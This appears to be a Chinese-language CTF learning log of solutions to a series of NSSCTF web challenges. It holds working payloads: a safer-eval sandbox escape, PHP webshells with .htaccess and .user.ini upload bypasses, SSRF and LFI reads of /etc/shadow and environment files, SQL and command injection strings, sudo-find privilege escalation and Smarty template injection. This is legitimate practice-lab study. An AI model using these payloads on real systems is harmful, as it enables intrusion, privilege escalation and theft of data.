res.send(fs.readFileSync('./index.html'))
})
app.listen(80, '0.0.0.0', () => {
console.log('Start listening')
});
Javascript代码只看得懂大概。获取到的有效信息就这些了。
搜索safer-eval和setTimeout相关的东西。
关于setTimeout,发现js里面整数溢出是32位,即大于2147483647,就会发生溢出,可以绕过这个时间限制。
参考GKCTF2020 EZ三剑客 记录_ezshell ctf
关于safer-eval,github上有现成的poc,
var saferEval = require("safer-eval");
var code = "setInterval.constructor('return process')().mainModule.require('child_process').execSync('whoami').toString();";
console.log(saferEval(code));
curl -X POST "http://node4.anna.nssctf.cn:28570/eval?delay=2147483648" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "e=(function () { const process = clearImmediate.constructor('return process;')(); return process.mainModule.require('child_process').execSync('cat /flag').toString() })()"
NSSCTF{b91663b1-bd27-4847-a3c0-5eab377ef3b3}
execSync里面执行的是系统命令。可以替换成whoami ,ls /,cat /flag。

参考 https://github.com/commenthol/safer-eval/issues/11
总结:JavaScript的代码审计大致看得懂。但其中涉及函数的漏洞却不熟悉。poc虽然已有,但是实战过程中这个思路是怎么想到的,还是可以深究的。
[NCTF 2018]全球最大交友网站
前端多次尝试后,发现点击a.zip可以自动下载文件。
输入dirsearch命令后,得到关键信息./git和./htaccess。
sudo dirsearch -u "http://node4.anna.nssctf.cn:28389/" -t 50

大概率是./git泄露。
于是打开kali虚拟机,输入url,下载a.zip文件后解压文件,然后进入下载的目录。

git checkout,git branch,git tag等思路利用无效。

但是cat readme.txt 或git show查看到敏感信息。
总结:有了overthewire bandit靶场git部分的练习,对此题的帮助还是挺大的。
[SWPUCTF 2022 新生赛]Ez_upload
上传txt文件,返回你上传的什么鬼?上传php文件,返回后缀名不能有ph!意思就是不能上传php,phtml,phar等后缀名的文件。
上传index.php,修改filename后缀为jpg的回显。

所以txt,ph等都不允许上传。
删除GIF89a和?php的一句话木马,以及修改Content-Type为image/jpeg后得到的回显。

/var/www/html/upload/e84edbda8f9b20427f66a9c307b87357/index.jpg succesfully uploaded!说明jpg的文件可以上传。
jpg的文件上传成功,说明MIME类型检测,文件后缀不允许出现ph,文件内容不允许出现?php,<?。
所以联想到jsp类型的一句话木马(绕过文件内容的检测),和.htaccess配置文件的转变(绕过文件后缀)。
写入jsp的一句话木马,上传成功。
<script language='php'>system($_POST['cmd']);</script>

/var/www/html/upload/e84edbda8f9b20427f66a9c307b87357/index.jpg succesfully uploaded!
写入.htaccess文件,修改MIME为.htaccess。
<FilesMatch "index.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

/var/www/html/upload/e84edbda8f9b20427f66a9c307b87357/.htaccess succesfully uploaded!
构造payload:
http://node5.anna.nssctf.cn:21160/upload/e84edbda8f9b20427f66a9c307b87357/index.jpg
<script language='php'>system($_POST['cmd']);</script> //Header
cmd=phpinfo(); //post
或者
http://node5.anna.nssctf.cn:21160/upload/e84edbda8f9b20427f66a9c307b87357/index.jpg
<script language='php'>phpinfo(); </script> //Header

总结:这题MIME对文件后缀和文件内容进行了过滤,不过依然有绕过的姿势。
[GHCTF 2025]UPUPUP
上传index.php,返回文件不允许。说明MIME对后缀php进行了黑名单限制。

改后缀为jpg,文件类型为image/jpeg。上传成功,说明正常图片的上传功能是合法的。

虽然jpg格式能上传成功,但是他无法执行后续的远程命令执行,无法完成持久化操作。php文件能够执行持久化操作,但是已经被限制了。所以,有没有一种办法,使得我们想要的jpg格式文件执行php文件的功能。有的,.htaccess。
我们想过要jpg格式,所以给.htaccess添加文件头GIF89a。

抓包时上传成功,但是拼接url时误触500警告(拼接URL后,BurpSuite里能够看到)。

说明头文件GIF89a被WAF检测出来了。查阅有关资料,说文件头XBM和WBMP两种方式都能够绕过。
XBM图片:
#define width 1337
#define height 1337
WBMP图片:
\x00\x00\x85\x85
多次尝试后,发现XBM这个方案可行,WBMP这个方案不行。
#define width 1
#define height 1
<FilesMatch "index.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

上传以上响应文件后,jpg格式的文件就能够被当成php格式的文件进行了。所以我们写入jpg格式的图片马。
GIF89a
<?= system($_POST['cmd']);?>
当=换成php时,上传也会出现错误,返回非法文件。可能他也对文件内容进行了检测,尤其是php这种关键字。

当我们cmd写入phpinfo();时,返回获取到的信息有限(也可能是我这里卡了)。

所以常规思路ls /,whoami,id啥之类的。

最后还是从文件目录里找到了敏感信息。
参考文章:
https://www.cnblogs.com/YoumuKonpaku/articles/18765629
https://blog.csdn.net/yeyushengfano/article/details/146245007
总结:MIME此次下手真狠,文件后缀,文件内容,文件头都一一进行了检查。可是即使城墙如此坚固,但是没有密不透风的围墙。
[GKCTF 2021]easycms
扫描txt,php后缀的文件。

我不知道为啥这么慢,之前开了线程50也好不到哪。(-t 50)可能该cms的文件数量确实庞大。
经过多次尝试,url拼接admin.php后。可以用弱口令admin 12345进行登录。
/* Keep session random valid. */
needPing = true;
$('#submit').click(function()
{
var password = $('#password').val();
var reg = /^\w+((-\w+)|(\.\w+))*\@[A-Za-z0-9]+((\.|-)[A-Za-z0-9]+)*\.[A-Za-z0-9]+$/;
if(!reg.test($('#account').val())) password = md5(md5(md5($('#password').val()) + $('#account').val()) + v.random);
fingerprint = getFingerprint();
loginURL = createLink('user', 'login');
$.ajax(
{
type: "POST",
data:"account=" + $('#account').val() + '&password=' + password + '&referer=' + encodeURIComponent($('#referer').val()) + '&fingerprint=' + fingerprint,
url:loginURL,
dataType:'json',
success:function(data)
{
if(data.result == 'success') return location.href=data.locate;
$.ajax(
{
type: "POST",
data: "account=" + $('#account').val() + '&password=' + $('#password').val() + '&referer=' + encodeURIComponent($('#referer').val()) + '&fingerprint=' + fingerprint,
url:loginURL,
dataType:'json',
success:function(data)
{
if(data.reason == 'captcha')
{
$('.captchaModal').prop('href', data.url);
setTimeout(function(){$('.captchaModal').click();}, 1000);
}
if(data.result == 'fail') showFormError(data.message);
if(data.result == 'success') location.href=data.locate;
if(typeof(data) != 'object') showFormError(data);
},
error:function(data){showFormError(data.responseText);}
})
},
error:function(data){showFormError(data.responseText);}
})
return false;
});
function showFormError(text)
{
if(text == '') return true;
var error = $('#formError').text(text);
var parent = error.closest('.form-group');
if(parent.length) parent.show();
else $('#formError').show();
}
我不明白他的登录认证这么复杂却可以用弱口令进行登录。个人觉得可能是为了淡化该功能,突出文件下载这一漏洞。
登录后,找到文件下载这一接口,并进行如下图所示的操作。
(设计-主题-自定义-导出主题)

点击保存后,hema.zip会自动下载到你本地电脑。我们复制下载链接
http://node4.anna.nssctf.cn:28451/admin.php?m=ui&f=downloadtheme&theme=L3Zhci93d3cvaHRtbC9zeXN0ZW0vdG1wL3RoZW1lL2RlZmF1bHQvaGVtYS56aXA=
对字符串L3Zhci93d3cvaHRtbC9zeXN0ZW0vdG1wL3RoZW1lL2RlZmF1bHQvaGVtYS56aXA= 进行解密,得到/var/www/html/system/tmp/theme/default/hema.zip。说明我们进行以上操作后,从该网站目录下载了文件hema.zip。
所以我们利用同样的思路,对敏感信息/flag进行下载。不过要先前进行base64加密(L2ZsYWc=)。
构造payload
http://node4.anna.nssctf.cn:28451/admin.php?m=ui&f=downloadtheme&theme=L2ZsYWc=
后,用编辑器查看,得到了目标。

这里我不明白为啥另一种解法(文件上传,参考GKCTF 2021 easycms-CSDN博客)为啥不奏效了,难道是非预期解。NSSCTF这个平台有动态检测机制?对该题进行了升级,只有固定解了?
[suctf 2019]checkin
上传php文件,返回illegal suffix!上传jpg/png图片,返回<? in contents!或filesize too big!
说明文件后缀php之类的被过滤,文件内容<?被过滤了。
对于文件内容,我们构造
GIF89a
<script language='php'>system($_POST['cmd']);</script>

两种.htaccess构造方法。
GIF89a
<FilesMatch "index.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
GIF89a
AddType application/x-httpd-php .jpg
对于文件后缀,根据经验,我们想要使用.htaccess文件。

额额额,可恶。竟然忘记添加GIF89a文件头了。
用另一种方式加GIF89a文件头试试。

ok。
至此,index.jpg会被当作index.php执行。而index.php在文件内容绕过时,被写入了一句话木马system($_POST['cmd']);。
由此拼接路径
#原来的url为url+/index.php
~/uploads/7df5c318fe30d3d97b0d474e749b55d5/index.php
cmd=whoami cmd=id cmd=ls / cmd=cat /flag //POST
以为大功告成,可是页面好像被卡住了,根本不返回任何信息。看来文件后缀绕过成功是一种假象,文件后缀绕过失败!!
怎么办?怎么办?.htaccess被全面禁止了。查了许久资料,聪明的你终于发现好像可以用.user.ini绕过!
GIF89a
auto_prepend_file=index.jpg
这里的原理不像.htaccess执行时,jpg格式文件被当作php格式文件执行。而是index.jpg里面包含了指定的Webshell(index.php)文件。

这样,成功将jpg格式文件连带php格式文件一起执行,然后我们就能进行持久化操作。
使用.user.ini方法后,我们再将jpg木马用BurpSuite重传一遍。即将文件内容绕过时的
GIF89a
<script language='php'>system($_POST['cmd']);</script>
图片马再利用一遍。
同样cmd=whoami cmd=id cmd=ls / cmd=cat /flag一一探查一遍。

一一返回。
GIF89a?application
GIF89a? uid=1000(application) gid=1000(application) groups=1000(application)
GIF89a? app bin boot clean.sh dev docker.stderr docker.stdout entrypoint entrypoint.cmd entrypoint.d etc flag home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
GIF89a? NSSCTF{79efdb9f-100e-490b-9dd0-e84253ae34fd}
总结:.htaccess的GIF89a文件上传成功,后续却无法利用。进而只能转向.user.ini这种思路。
[NSSCTF 2nd]MyBox
利用file协议对url拼接~/?url=file:// +(接下来的命令,如/etc/passwd,/etc/hosts)。

etc/hosts
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.2.60.55 50888e5df4f54fc8
etc/shadow
root:*:18897:0:99999:7:::
daemon:*:18897:0:99999:7:::
bin:*:18897:0:99999:7:::
sys:*:18897:0:99999:7:::
sync:*:18897:0:99999:7:::
games:*:18897:0:99999:7:::
man:*:18897:0:99999:7:::
lp:*:18897:0:99999:7:::
mail:*:18897:0:99999:7:::
news:*:18897:0:99999:7:::
uucp:*:18897:0:99999:7:::
proxy:*:18897:0:99999:7:::
www-data:*:18897:0:99999:7:::
backup:*:18897:0:99999:7:::
list:*:18897:0:99999:7:::
irc:*:18897:0:99999:7:::
gnats:*:18897:0:99999:7:::
nobody:*:18897:0:99999:7:::
_apt:*:18897:0:99999:7:::
messagebus:*:19595:0:99999:7:::
etc/group
root:x:0:
daemon:x:1:
bin:x:2:
sys:x:3:
adm:x:4:
tty:x:5:
disk:x:6:
lp:x:7:
mail:x:8:
news:x:9:
uucp:x:10:
man:x:12:
proxy:x:13:
kmem:x:15:
dialout:x:20:
fax:x:21:
voice:x:22:
cdrom:x:24:
floppy:x:25:
tape:x:26:
sudo:x:27:
audio:x:29:
dip:x:30:
www-data:x:33:
backup:x:34:
operator:x:37:
list:x:38:
irc:x:39:
src:x:40:
gnats:x:41:
shadow:x:42:
utmp:x:43:
video:x:44:
sasl:x:45:
plugdev:x:46:
staff:x:50:
games:x:60:
users:x:100:
nogroup:x:65534:
messagebus:x:101:
etc/sudoers
Internal Server Error
The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.
/proc/cpuinfo
processor : 0
vendor_id : GenuineIntel
cpu family : 6
model : 85
model name : Intel(R) Xeon(R) Platinum 8255C CPU @ 2.50GHz
stepping : 5
microcode : 0x1
cpu MHz : 2494.140
cache size : 36608 KB
physical id : 0
siblings : 2
core id : 0
cpu cores : 2
apicid : 0
initial apicid : 0
fpu : yes
fpu_exception : yes
cpuid level : 13
wp : yes
flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ss ht syscall nx pdpe1gb rdtscp lm constant_tsc rep_good nopl cpuid tsc_known_freq pni pclmulqdq ssse3 fma cx16 pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm abm 3dnowprefetch invpcid_single pti fsgsbase bmi1 hle avx2 smep bmi2 erms invpcid rtm mpx avx512f avx512dq rdseed adx smap clflushopt clwb avx512cd avx512bw avx512vl xsaveopt xsavec xgetbv1 arat avx512_vnni
bugs : cpu_meltdown spectre_v1 spectre_v2 spec_store_bypass l1tf mds swapgs taa itlb_multihit mmio_stale_data retbleed
bogomips : 4988.28
clflush size : 64
cache_alignment : 64
address sizes : 46 bits physical, 48 bits virtual
power management:
processor : 1
vendor_id : GenuineIntel
cpu family : 6
model : 85
model name : Intel(R) Xeon(R) Platinum 8255C CPU @ 2.50GHz
stepping : 5
microcode : 0x1
cpu MHz : 2494.140
cache size : 36608 KB
physical id : 0
siblings : 2
core id : 1
cpu cores : 2
apicid : 1
initial apicid : 1
fpu : yes
fpu_exception : yes
cpuid level : 13
wp : yes
flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ss ht syscall nx pdpe1gb rdtscp lm constant_tsc rep_good nopl cpuid tsc_known_freq pni pclmulqdq ssse3 fma cx16 pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm abm 3dnowprefetch invpcid_single pti fsgsbase bmi1 hle avx2 smep bmi2 erms invpcid rtm mpx avx512f avx512dq rdseed adx smap clflushopt clwb avx512cd avx512bw avx512vl xsaveopt xsavec xgetbv1 arat avx512_vnni
bugs : cpu_meltdown spectre_v1 spectre_v2 spec_store_bypass l1tf mds swapgs taa itlb_multihit mmio_stale_data retbleed
bogomips : 4988.28
clflush size : 64
cache_alignment : 64
address sizes : 46 bits physical, 48 bits virtual
power management:
/proc/meminfo
MemTotal: 7623860 kB
MemFree: 747296 kB
MemAvailable: 5938204 kB
Buffers: 296548 kB
Cached: 3899200 kB
SwapCached: 0 kB
Active: 3995456 kB
Inactive: 1293256 kB
Active(anon): 1100440 kB
Inactive(anon): 5160 kB
Active(file): 2895016 kB
Inactive(file): 1288096 kB
Unevictable: 22084 kB
Mlocked: 22084 kB
SwapTotal: 0 kB
SwapFree: 0 kB
Dirty: 108 kB
Writeback: 0 kB
AnonPages: 1109392 kB
Mapped: 282608 kB
Shmem: 6332 kB
KReclaimable: 1313176 kB
Slab: 1475704 kB
SReclaimable: 1313176 kB
SUnreclaim: 162528 kB
KernelStack: 11712 kB
PageTables: 19864 kB
NFS_Unstable: 0 kB
Bounce: 0 kB
WritebackTmp: 0 kB
CommitLimit: 3811928 kB
Committed_AS: 7289652 kB
VmallocTotal: 34359738367 kB
VmallocUsed: 21576 kB
VmallocChunk: 0 kB
Percpu: 10720 kB
HardwareCorrupted: 0 kB
AnonHugePages: 36864 kB
ShmemHugePages: 0 kB
ShmemPmdMapped: 0 kB
FileHugePages: 0 kB
FilePmdMapped: 0 kB
CmaTotal: 0 kB
CmaFree: 0 kB
HugePages_Total: 0
HugePages_Free: 0
HugePages_Rsvd: 0
HugePages_Surp: 0
Hugepagesize: 2048 kB
Hugetlb: 0 kB
DirectMap4k: 5394296 kB
DirectMap2M: 2994176 kB
DirectMap1G: 2097152 kB
由/proc/self/environ读取到环境为python环境。
HOSTNAME=50888e5df4f54fc8PWD=/usr/local/apache2HTTPD_VERSION=2.4.49HOME=/rootFLAG=not_hereHTTPD_PATCHES=HTTPD_SHA256=65b965d6890ea90d9706595e4b7b9365b5060bec8ea723449480b4769974133bSHLVL=1PATH=/usr/local/apache2/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHTTPD_PREFIX=/usr/local/apache2_=/usr/bin/python3
/proc/version,/etc/resolv.conf
/proc/self/cmdline
python3/app/app.py
/app/app.py
from flask import Flask, request, redirect
import requests, socket, struct
from urllib import parse
app = Flask(__name__)
@app.route('/')
def index():
if not request.args.get('url'):
return redirect('/?url=dosth')
url = request.args.get('url')
if url.startswith('file://'):
with open(url[7:], 'r') as f:
return f.read()
elif url.startswith('http://localhost/'):
return requests.get(url).text
elif url.startswith('mybox://127.0.0.1:'):
port, content = url[18:].split('/_', maxsplit=1)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect(('127.0.0.1', int(port)))
s.send(parse.unquote(content).encode())
res = b''
while 1:
data = s.recv(1024)
if data:
res += data
else:
break
return res
return ''
app.run('0.0.0.0', 827)
/proc/1/environ
PATH=/usr/local/apache2/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=50888e5df4f54fc8FLAG=NSSCTF{0e3e5156-ddfd-4e53-9303-bd77b0584bbc}HTTPD_PREFIX=/usr/local/apache2HTTPD_VERSION=2.4.49HTTPD_SHA256=65b965d6890ea90d9706595e4b7b9365b5060bec8ea723449480b4769974133bHTTPD_PATCHES=HOME=/root
得到的竟然是非预期解。
总结:预期解NSSCTF 2nd web不太明白。
[SWPUCTF 2021 新生赛]sql
- 判断是数字型还是字符型
http://node4.anna.nssctf.cn:28253/?wllm=1
Want Me? Cross the Waf
Your Login name:xxx
Your Password:yyy
http://node4.anna.nssctf.cn:28253/?wllm=1'
Want Me? Cross the Waf
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
所以是字符型
- 用order by判断列数
传入http://node4.anna.nssctf.cn:28253/?wllm=1'/**/order/**/by/**/3#如果/**/
去掉会提示 '' 请勿非法操作!'。说明空格被过滤了。#之前必须空一格空格出来,用/**/#或/**/--不行,所以url编码为%23。
Want Me? Cross the Waf
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '' LIMIT 0,1' at line 1
http://node4.anna.nssctf.cn:28072/?wllm=1'/**/order/**/by/**/3%23
Want Me? Cross the Waf
Your Login name:xxx
Your Password:yyy
http://node4.anna.nssctf.cn:28072/?wllm=1'/**/order/**/by/**/4%23
Want Me? Cross the Waf
Unknown column '4' in 'order clause'
说明共有3列
- 基于字符型的union联合注入。
-
正常的列表查询。
http://node4.anna.nssctf.cn:28072/?wllm=a'union/**/select/**/1,2,3%23
或http://node4.anna.nssctf.cn:28072/?wllm=-1'union/**/select/**/1,2,3%23
Want Me? Cross the Waf
Your Login name:2
Your Password:3 -
数据库及版本信息查询。
http://node4.anna.nssctf.cn:28072/?wllm=a'union/**/select/**/1,database(),version()%23
Want Me? Cross the Waf
Your Login name:test_db
Your Password:10.2.29-MariaDB-log -
取出数据库里的表。
http://node4.anna.nssctf.cn:28072/?wllm=a'union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='test_db'%23
弹窗 '请勿非法操作!'
说明=号被过滤了。
http://node4.anna.nssctf.cn:28072/?wllm=a'union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/'test_db'%23
Want Me? Cross the Waf
Your Login name:2
Your Password:LTLT_flag,users -
查看表里的列名。
http://node4.anna.nssctf.cn:28072/?wllm=a'union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/'LTLT_flag'%23
Want Me? Cross the Waf
Your Login name:2
Your Password:id,flag
http://node4.anna.nssctf.cn:28072/?wllm=a'union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/'test_db'%23
Want Me? Cross the Waf
Your Login name:2
Your Password:id,flag,id,username, -
查看敏感信息。substr,right,REVERSE已经被过滤,所以用mid分段查找flag,每次长度20个字符。
mid(string, start, length)
http://node4.anna.nssctf.cn:28072/?wllm=a'union/**/select/**/1,2,group_concat(flag)/**/from/**/test_db.LTLT_flag%23或http://node4.anna.nssctf.cn:28072/?wllm=a'union/**/select/**/1,2,group_concat(flag)/**/from/**/LTLT_flag%23
Want Me? Cross the Waf
Your Login name:2
Your Password:NSSCTF{d221be8c-4777
http://node4.anna.nssctf.cn:28072/?wllm=a'union/**/select/**/1,2,mid(group_concat(flag),21,20)/**/from/**/LTLT_flag%23
Want Me? Cross the Waf
Your Login name:2
Your Password:-4587-bb2d-c648026f0
http://node4.anna.nssctf.cn:28072/?wllm=a'union/**/select/**/1,2,mid(group_concat(flag),41,20)/**/from/**/LTLT_flag%23
Want Me? Cross the Waf
Your Login name:2
Your Password:1fd}
三次结果拼接在一起得到:
NSSCTF{d221be8c-4777-4587-bb2d-c648026f01fd}
[FSCTF 2023]Hello,you
$input = isset($_GET['input']) ? $_GET['input'] : '';
// 执行命令并返回结果
function executeCommand($command) {
$output = '';
exec($command, $output);
return $output;
}
// 注册用户
function registerUser($username) {
// .........
$command = "echo Hello, " . $username;
$result = executeCommand($command);
return $result;
}
// 处理注册请求
if (isset($_POST['submit'])) {
$username = $_POST['username'];
$result = registerUser($username);
}
没有过滤;&|等命令执行的关键词。
输入1&ls
Hello, 1
flag.php
index.php
1&cat flag.php,1&tac flag.php
弹窗'非法操作',说明cat,tac等被过滤。
可以采用tail或nl命令,(或者添加”,’,\,等进行过滤,这里不知道为啥不行)。
输入1;tail f,1;nl f
Hello, 1
<?php
NSSCTF{b8ee617d-64bf-4dd7-a94e-9f73894f6244}
?>
[HZNUCTF 2023 final] ezgo
构造payload:
http://node5.anna.nssctf.cn:25873/cmd
shit=pwd shit=find f* shit=echo $PATH //POST
一一返回/和"find": executable file not found in $PATH以及deny to set path。
Deepseek关于常见的$PATH的总结。

这些环境对系统管理和安全审计起着重要作用,如果配置不当容易引起sudo提权等问题。比如,这里用到的是/usr/bin中的sudo提权。
http://node5.anna.nssctf.cn:25873/cmd
shit=/usr/bin/sudo //POST

当输入shit=/usr/bin/sudo -l时,查看到/usr/bin/find。
当shit=/usr/bin/sudo find / -perm -u=s -type f 2>/dev/null 时出现“500 Internal Server Error”。说明直接查找suid文件的思路失败。
进而,根据find 命令提权 - 内向是一种性格 - 博客园这篇文章知道可以 利用find命令提权。
(`find which find -exec whoami \;`,这里的which find就是上文找到的/usr/bin/find)。
接着利用find命令提权。
http://node5.anna.nssctf.cn:25873/cmd
shit=/usr/bin/sudo find /usr/bin/find -exec id \; //POST
uid=0(root) gid=0(root) groups=0(root)
我们执行了系统命令id,查看到我们是root用户,至此我们已经提权至超级管理员。
http://node5.anna.nssctf.cn:25873/cmd
shit=/usr/bin/sudo find /usr/bin/find -exec ls \; //POST
返回
bin
boot
dev
etc
flag
home
lib
lib64
main
media
mnt
opt
proc
root
run
sbin
srv
start.sh
sys
tmp
usr
var
我们探查重要文件,找到了通行证。
http://node5.anna.nssctf.cn:25873/cmd
shit=/usr/bin/sudo find /usr/bin/find -exec cat /f* \; //POST
NSSCTF{5669803a-8d0f-4767-97a7-5b1d2617a261}
[AFCTF 2021]BABY_CSP
什么是CSP?服务器CSP是指服务器端的内容安全策略(Content Security Policy)。CSP是一种Web安全机制,旨在减少和防止跨站点脚本攻击(XSS攻击)、点击劫持和数据注入等安全漏洞的利用。
参考文章
页面源代码返回的四个随机值。
<script nonce="">
btn.onclick = () => {
location = './?school=' + encodeURIComponent(['CSU', 'JXNU', 'HEBNU', 'I don\'t konw :( '][Math.floor(4 * Math.random())]);
}
</script>
看到nonce值,与下面的script-src 'nonce-29de6fde0db5686d'对应。说明对应的nonce值可以写进<script>标签,然后就能够执行alert里面的内容。与上述的btn.onclick 类似。

直接构造payload:http://node4.anna.nssctf.cn:28199/school=<script nonce="29de6fde0db5686d">alert('123')</script>
弹窗123

说明xss利用成功。
接着反弹重要信息,http://node4.anna.nssctf.cn:28199/?school=<script nonce="29de6fde0db5686d">alert(flag)</script>

[CISCN 2019华东南]Web11

应该与XFF这个注入点有关。
什么是Smarty模板注入?

从阿里云社区大佬的文章得知主要有 {literal} ,{php}{/php}, {if}{/if}三等种注入手段。参考 https://xz.aliyun.com/news/11666
更多关于php模板注入的文章参考 https://xz.aliyun.com/news/14141
构造payload:
http://node4.anna.nssctf.cn:28058/xff/
X-Forwarded-For: {if system('ls /') }{/if} //Header

将引号里面的字符串换成cat /flag后,继续查找查看器。

[suctf 2019]EasySQL
什么是堆叠注入?简单来说就是通过;来分隔各个sql语句,使之都能够独立运行。
参考 https://blog.csdn.net/qq_45691294/article/details/107376284
当我们在输入框输入数字时返回。
Array ( [0] => 1 )
当输入1; show databases;#时,返回
Array ( [0] => 1 ) Array ( [0] => ctf ) Array ( [0] => ctftraining ) Array ( [0] => information_schema ) Array ( [0] => mysql ) Array ( [0] => performance_schema ) Array ( [0] => test )
当输入1;show tables;#时,返回
Array ( [0] => 1 ) Array ( [0] => Flag )
输入1;show columns from Flag#时,返回Nonono。推测可能columns被pass掉了。
这时候已经没辙了,通过查看堆叠注入题解这篇题解得知 需要猜测sql后端是怎么写的。select $_POST[‘query’] || flag from Flag,具体好像是这么写的。
当输入*,1时,原sql注入语句变成select *,1 || flag from Flag,我们先执行select *,1 from Flag(为真),然后执行select flag from Flag(为假)。所以相当于直接执行select *,1 from Flag,这里的1是第一列都会被设定为特定的值。而*就是其他所有的信息,包括真正的flag信息。所以当输入*,1时就能够返回,
Array ( [0] => NSSCTF{4af90fbf-8ae0-41da-922c-4a129d03e3fe} [1] => 1 )
官方的解是1;set sql_mode=PIPES_AS_CONCAT;select 1
总结:这里还是有点模糊,感觉这种wp还是很神奇的样子。是不是为了出题而出题,还是说具体使用场景很少,我推测是后者吧。
[NISACTF 2022]easyssrf
什么是ssrf?与ssrf有关的URL协议?SSRF常见的绕过技术?如何准确地检测和防御ssrf?ssrf发生的真实案例以及与ai安全的融合?阿里云先知社区大佬总结得非常到位。SSRF漏洞分析-先知社区
更多参考:
服务器端请求伪造(SSRF)是指攻击者能够从易受攻击的Web应用程序发送精心设计的请求,从而对其他网站进行攻击。常见的能够利用的url协议file://、dict://、gopher://、ftp://。常见的绕过技术包括进制绕过,302跳转,域名绕过(@,/,.,)。主要通过白名单限制,最小化权限,深度防御等手段来防御该类攻击,从而避免大量的内网信息被探测。
当输入file:///etc/passwd时,返回 害羞羞,试试其他路径?
既然是跟ssrf的众多url协议有关,不妨试一试php伪协议。
?file=php://filter/read=convert.base64-encode/resource=/flag
返回 都说了这里看不了flag。但是可以看看提示文件:/fl4g。
所以,输入file:///fl4g进一步查看。返回
**file:///fl4g 的快照如下:**
你应该看看除了index.php,是不是还有个ha1x1ux1u.php
那就拼接一下呗,输入http://node5.anna.nssctf.cn:23308/ha1x1ux1u.php,得到源码
<?php
highlight_file(__FILE__);
error_reporting(0);
$file = $_GET["file"];
if (stristr($file, "file")){
die("你败了.");
}
//flag in /flag
echo file_get_contents($file);
file_get_contents刚好符合ssrf漏洞高危函数file_get_contents()、fsockopen()、curl_exec()、fopen()、readfile()众多家人的一员。参考 :SSRF漏洞(原理、挖掘点、漏洞利用、修复建议) - Saint_Michael - 博客园
既然如此,结合//flag in /flag,推测存在目录穿越漏洞。于是构造payload:http://node5.anna.nssctf.cn:23308/ha1x1ux1u.php?file=../../../../flag

或者用PHP伪协议构造payload,http://node5.anna.nssctf.cn:23308/ha1x1ux1u.php?file=php://filter/read=convert.base64-encode/resource=/flag后,base解码。

[CISCN 2023 西南]seaclouds
第1次审计Java反序列化,先放一放。原因是做脚本小子很容易,但是其中的原理更重要,而且本人之前没有训练JAVA的意识。再加上这是半决赛的大题,暂且放一放,后续有空再回来看看。
记几道CTF-Java反序列化题目-先知社区
Java反序列化基础篇-01-反序列化概念与利用 - FreeBuf网络安全行业门户
[鹏城杯 2022]简单包含
尝试一下目录穿越和PHP伪协议的读取,访问http://node4.anna.nssctf.cn:28280/后,随即POST勾选flag=../../../../../../../../flag.php和flag=php://filter/read=convert.base64-encode/resource=/var/www/html/flag.php
均被WAF绕过去了,只是一味地返回
nssctf waf! <?php
highlight_file(__FILE__);
include($_POST["flag"]);
//flag in /var/www/html/flag.php;
一般来说,php网站都有index.php文件。当读取index.php时,构造的paylod: flag=php://filter/read=convert.base64-encode/resource=index.php
返回,
PD9waHAKCiRwYXRoID0gJF9QT1NUWyJmbGFnIl07CgppZiAoc3RybGVuKGZpbGVfZ2V0X2NvbnRlbnRzKCdwaHA6Ly9pbnB1dCcpKSA8IDgwMCAmJiBwcmVnX21hdGNoKCcvZmxhZy8nLCAkcGF0aCkpIHsKICAgIGVjaG8gJ25zc2N0ZiB3YWYhJzsKfSBlbHNlIHsKICAgIEBpbmNsdWRlKCRwYXRoKTsKfQo/PgoKPGNvZGU+PHNwYW4gc3R5bGU9ImNvbG9yOiAjMDAwMDAwIj4KPHNwYW4gc3R5bGU9ImNvbG9yOiAjMDAwMEJCIj4mbHQ7P3BocCZuYnNwOzxiciAvPmhpZ2hsaWdodF9maWxlPC9zcGFuPjxzcGFuIHN0eWxlPSJjb2xvcjogIzAwNzcwMCI+KDwvc3Bhbj48c3BhbiBzdHlsZT0iY29sb3I6ICMwMDAwQkIiPl9fRklMRV9fPC9zcGFuPjxzcGFuIHN0eWxlPSJjb2xvcjogIzAwNzcwMCI+KTs8YnIgLz5pbmNsdWRlKDwvc3Bhbj48c3BhbiBzdHlsZT0iY29sb3I6ICMwMDAwQkIiPiRfUE9TVDwvc3Bhbj48c3BhbiBzdHlsZT0iY29sb3I6ICMwMDc3MDAiPls8L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiAjREQwMDAwIj4iZmxhZyI8L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiAjMDA3NzAwIj5dKTs8YnIgLz48L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiAjRkY4MDAwIj4vL2ZsYWcmbmJzcDtpbiZuYnNwOy92YXIvd3d3L2h0bWwvZmxhZy5waHA7PC9zcGFuPgo8L3NwYW4+CjwvY29kZT48YnIgLz4
用以下命令base64解密一下。
